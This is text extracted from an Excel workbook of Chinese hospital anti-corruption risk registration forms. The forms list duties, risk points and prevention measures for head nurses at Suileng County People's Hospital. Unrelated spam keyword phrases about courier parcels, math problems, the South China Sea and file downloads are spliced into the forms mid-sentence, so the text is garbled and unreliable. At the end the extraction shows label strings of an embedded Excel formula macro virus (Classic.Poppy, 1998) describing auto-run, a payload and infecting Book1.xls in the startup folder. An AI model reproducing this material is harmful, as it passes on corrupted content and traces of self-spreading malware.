医院岗位廉政风险防控措施登记表 护士长

附表1 附表1： 单位权力清单登记表 填表时间2012年12月19日 单位名称 单位负责人意见：年月日 序号 权力类别 权力名称 说明： 1、权力类别分为：行政决策、行政许可、行政审批、行政处罚、行政强制、行政征收、行政给付、行政奖励、行政确认、行政裁决、监督检查、其他权力。 2、本表由单位加强廉政风险防控工作领导小组办公室留存。附表2 附表2： 部门（单位内设机构）权力清单登记表 填表时间2012年12月19日 部门名称 部门负责人意见：年月日 单位主管领导意见：年月日 序号 权力类别 权力名称 说明： 1、权力类别分为：行政决策、行政许可、行政审批、行政处罚、行政强制、行政征收、行政给付、行政奖励、行政确认、行政裁决、监督检查、其他权力。 2、本表一式两份，部门留存一份，由本单位加强廉政风险防控工作领导小组办公室留存一份。附表3 附表3： 岗位权力清单登记表 填表时间2013年1月15日 所在单位部门名称 绥棱县人民医院五官科 姓名 刘艳霞 岗位名称：护士 岗位人员本人意见：同意2013年1月15日 部门负责人意见：同意2013年1月15日 序号 权力类别 权力名称 1 其它权利 执行医嘱 2 其它权利 技术操作 说明： 1、权力类别分为：行政决策、行政许可、行政审批、行政处罚、行政强制、行政征收、行政给付、行政奖励、行政确认、行政裁决、监督检查、其他权力。 2、本表一式两份，部门留存一份，由本单位加强廉政风险防控工作领导小组办公室留存一份。附表4 附表4： 单位职权目录 填表时间2012年12月19日 单位名称 绥棱县人民医院 单位负责人意见：年月日 权力层级 序号 权力类别 权力名称 单位权力清单 1 行政决策 “三重一大”决策权 2 行政审批 基建权 3 行政审批 人事权 4 行政给付 财务权 5 行政给付 采购权 6 行政征收 收费权 7 监督检查 干部监督权 8 行政许可 科室管理权 部门权力清单 9 监督检查 信访投诉办理权 10 行政给付 工资福利权 11 行政确认 医疗质量安全考核权 12 监督检查 医疗事故处罚权 1 岗位权力清单 说明： 1、权力类别分为：行政决策、行政许可、行政审批、行政处罚、行政强制、行政征收、行政给付、行政奖励、行政确认、行政裁决、监督检查、其他权力。 2、本表一式两份，本单位加强廉政风险防控工作领导小组办公室留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。 3、本表由单位权力清单登记表、部门权力清单登记表、岗位权力清单登记表汇总生成。附表5 附表5： 岗位廉政风险排查表 填表时间2012年12月19日 岗位名称 姓名 所在单位部门名称 岗位总体风险等级 工作职权 工作事项(业务流程) 岗位人员本人意见：年月日 部门负责人意见：年月日 风险类别 风险点描述 自我评定风险等级(高\中\低) 组织审定风险等级(高\中\低) 廉政风险点（节点） 廉政风险表现（问 题 快递公司问题件快递公司问题件货款处理关于圆的周长面积重点题型关于解方程组的题及答案关于南海问题 与隐患） 岗位(部门\单位)职责风险 权力行使风险 制度 关于办公室下班关闭电源制度矿山事故隐患举报和奖励制度制度下载人事管理制度doc盘点制度下载 机制风险 思想道德风险(其他) 说明：本表一式两份，部门留存一份，上报单位一份。附表6 附表6： 部门（单位内设机构）廉政风险排查表 填表时间年月日 部门名称 部门负责人及职务 所设岗位 部门总体风险等级 工作职权 工作事项(业务流程) 部门负责人意见：年月日 单位主管领导意见：年月日 风险类别 风险点描述 自我评定风险等级(高\中\低) 组织审定风险等级(高\中\低) 廉政风险点（节点） 廉政风险表现（问题与隐患） 岗位(部门\单位)职责风险 权力行使风险 制度机制风险 思想道德风险(其他) 说明：本表一式两份，部门留存一份，上报单位一份。附表7 附表7： 单位廉政风险排查表 填表时间年月日 单位名称 单位总体风险等级 工作职权 工作事项(业务流程) 单位负责人意见：年月日 风险类别 风险点描述 自我评定风险等级(高\中\低) 组织审定风险等级(高\中\低) 廉政风险点（节点） 廉政风险表现（问题与隐患） 岗位(部门\单位)职责风险 权力行使风险 制度机制风险 思想道德风险(其他) 说明：本表由单位加强廉政风险防控工作领导小组办公室留存。附表8 附表8： 廉政风险排查汇总表一 填表单位（盖章）： 填表时间年月日 项目 “高”级（个） “中”级（个） “低”级（个） 合计 按照风险点统计 岗位风险点 部门风险点 单位风险点 小计 按照岗位部门单位总体情况统计 岗位 部门 单位 小计 填表人： 单位负责人： 说明： 1、本表一式两份，本单位留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。 2、“单位”一栏填写单位总体风险等级情况，只能在“高、中、低”等级中 选择一个对应栏目填写，并且只能填写数字“1”。附表9 附表9： 廉政风险排查汇总表二 填表单位（盖章）： 填表时间年月日 类别 层级等级 岗位 部门 单位 合计 岗位(部门\单位)职责风险点 “高”级（个） “中”级（个） “低”级（个） 小计 权力行使风险点 “高”级（个） “中”级（个） “低”级（个） 小计 制度机制风险点 “高”级（个） “中”级（个） “低”级（个） 小计 思想道德风险(其他) “高”级（个） “中”级（个） “低”级（个） 小计 合计 填表人： 单位负责人： 说明： 1、本表一式两份，本单位留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。附表10 附表10： 廉政风险排查征求意见表 填表时间：2013年01月15日 单位(部门、岗位)名称 绥棱县人民医院五官科护士长 总体风险等级 中级 风险类别 廉政风险点 风险等级 征求意见栏（在相应选项打“√”） 岗位(部门\单位)职责风险 1.护士管理权 中级 准确 √ 2.执行医嘱权 中级 准确 √ 3.技术操作权 中级 准确 √ 权力行使风险 1.护士管理权（风险1：制定、实施病房护理 计划 项目进度计划表范例计划下载计划下载计划下载课程教学计划下载 、督促检查完成落实；风险2：督促教育护理人员严格执行各项规章制度，严防差错事故；风险3：组织领导护理人员业务学习、技术训练、管理病房、环境秩序） 中级 准确 √ 2.执行医嘱权(风险1：接待病人；风险2：执行医嘱) 中级 准确 √ 3.技术操作权（风险1：患者入院后常规检查；风险2：执行医嘱、处置治疗；风险3：患者痊愈出院） 中级 准确 √ 制度机制风险 1.制度不完善不健全 中级 准确 √ 2.执行制度不严格 中级 比较准确 √ 思想道德风险(其他) 1.面对诱惑放松思想改造,理想信念动摇 中级 准确 √ 2.受客观环境影响,有攀比心理 中级 准确 √ 3.价值观扭曲 中级 比较准确 √ 您认为该单位(部门、岗位)的廉政风险等级是（在相应选项打“√”） “高”级 “中”级 √ “低”级 您的具体意见 我认为该岗位廉政风险排查内容基本准确 说明：1、本表由单位加强廉政风险防控工作领导小组办公室留存。 2、本表可供各单位向各界征求对本单位(部门、岗位)风险排查的意见。 各单位也可结合实际自行制定征求意见表。附表11 附表11： 岗位廉政风险防控措施登记表 填表时间：2013年01月15日 岗位名称 内三科护士长 岗位责任人 毕继华 所在部门 绥棱县人民医院内三科 岗位人员本人意见：同意2013年01月15日 部门负责人意见：同意2013年01月15日 风险类别 廉政风险点 廉政风险防控措施 岗位(部门\单位)职责风险 1.护士管理权2.执行医嘱权3.技术操作权 1.自觉拒收“红包”，对难于退还的应按规定主动上缴；2.做好护理人员的思想教育工作，教育护理人员加强责任心、改善服务态度等。组织业务学习及技术训练。制定科室具体护理 工作计划 幼儿园家访工作计划关于小学学校工作计划班级工作计划中职财务部门工作计划下载关于学校后勤工作计划 3.根据轻重缓急合理安排科室工作日程表（护理人员配备、物品请领、设备检修、业务学习、检查工作等）病房综合管理（包括人、物、设备、环境管理）4.督促护理人员严格执行各项规章制度和操作规程，严防差错事故的发生。5.合理安排护理人员的工作，合理排班6.做好科室间的协调工作，更好地为患者服务7.以病人为中心，尊重病人的权力，保守病人的隐私； 权力行使风险 1.护士管理权（风险1：制定、实施病房护理计划、督促检查完成落实；风险2：督促教育护理人员严格执行各项规章制度，严防差错事故；风险3：组织领导护理人员业务学习、技术训练、管理病房、环境秩序）2.执行医嘱权(风险1：接待病人；风险2：执行医嘱)3.技术操作权（风险1：患者入院后常规检查；风险2：执行医嘱、处置治疗；风险3：患者痊愈出院） 1.督促护理人员严格执行各项规章制度和操作规程，严防差错事故的发生。2.合理安排护理人员的工作，合理排班3.做好科室间的协调工作，更好地为患者服务4.负责医嘱的处理、核对工作，掌握患者的病情，书写每日病情报告。。5.严格按 标准 excel标准偏差excel标准偏差函数exl标准差函数国标检验抽样标准表免费下载红头文件格式标准下载 收费，不乱收费，多收费，自觉拒收“红包”，对难于退还的应按规定主动上缴；6.严格按院感规定做好病房的消毒处理，加强医疗垃圾管理，保持病区清洁。7.应用护理程序实施以病人为中心的整体护理，进行护8.理评估，制定护理计划，执行护理措施，进行效果评估；9.参加护理教学和科研工作，工作中应不断总结经验，积极想办法解决护理工作中的疑难问题。10.对病人使用文明礼貌用语，耐心解释病人提出的问题，告知及时到位，要虚心接受病人的批评，以病人为中心，尊重病人的权力，保守病人的隐私； 制度机制风险 1.制度不完善不健全2.执行制度不严格 1.进一步完善制度建设2.严格执行各项规章制度，做到有章必循、有法必依、加大责任追究力度 思想道德风险(其他) 1.面对诱惑放松思想改造,理想信念动摇2.受客观环境影响,有攀比心理3.价值观扭曲 1.加强政治理论学习2.加强理想信念教育3.增强廉洁自律意识 说明：本表一式两份，部门留存一份，上报单位一份。附表12 附表12： 部门（单位内设机构）廉政风险防控措施登记表 填表时间年月日 部门名称 负责人及职务 部门负责人意见：年月日 单位主管领导意见：年月日 风险类别 廉政风险点 廉政风险防控措施 岗位(部门\单位)职责风险 权力行使风险 制度机制风险 思想道德风险(其他) 说明：本表一式两份，部门留存一份，上报单位一份。附表13 附表13： 单位廉政风险防控措施登记表 填表时间年月日 单位名称 负责人及职务 单位负责人意见：年月日 风险类别 廉政风险点 廉政风险防控措施 岗位(部门\单位)职责风险 权力行使风险 制度机制风险 思想道德风险(其他) 说明：本表一式两份，部门留存一份，上报单位一份。附表14 附表14： 廉政风险防控措施统计汇总表 填表单位（盖章）： 填表时间年月日 项目 岗位 部门 单位 合计 制定廉政风险防控措施(条) 岗位(部门\单位)职责方面 权力行使方面 制度机制方面 思想道德(其他)方面 小计 建立廉政风险防控制度(项) 优化流程图(个) ——— 实施项目管理(项) 填表人： 单位负责人： 说明：1、本表一式两份，本单位留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。 2、表格内有“—”的栏目，不需要填写。附表15 附表15： 单位廉政风险防控工作相关制度情况统计表 单位（盖章）： 填表时间年月日 序号 制度名称(所有制度均填列，无论有无对应无风险点) 对应风险点 制度类别(原有\新建\修订\废止) 说明：本表一式两份，本单位留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。附表16 附表16： 廉政风险预警防控等级目录  单位（盖章）： 填表日期：年月日 序号 权力类别 权力名称 权力所属岗位 廉政风险点 风险类别 廉政风险表现 廉政风险等级 廉政风险防控措施 风险管理责任人 风险管理责任部门 备注：1、权力类别分为：行政决策、行政许可、行政审批、行政处罚、行政强制、行政征收、行政给付、行政奖励、行政确认、行政裁决、监督检查、其他权力。 2、本表在“制定防控措施”阶段后期，由各单位综合各阶段工作情况填列。 3、本表一式两份，本单位留存一份。经单位负责人审核确认后，上报本地加强廉政风险防控工作领导小组办公室一份。Sheet3 baBT4FOf 2012年卫生系统加强廉政风险防控工作表.xls Book1 C:\ProgramFiles\MicrosoftOffice\OFFICE11\xlstart\Book1. **AutoandOnSheetStartsHere** Classic.PoppybyVicodinES WithLordNatas AnExcelFormulaMacroVirus(XF.Classic) Hydrocodone/APAP10-650ForYourComputer (C)TheNarkoticNetwork1998 **SimplePayload** **SetOurValuesandPaths** **AddNewWorkbook,InfectIt,SaveItAsBook1.xls** **InfectWorkbook**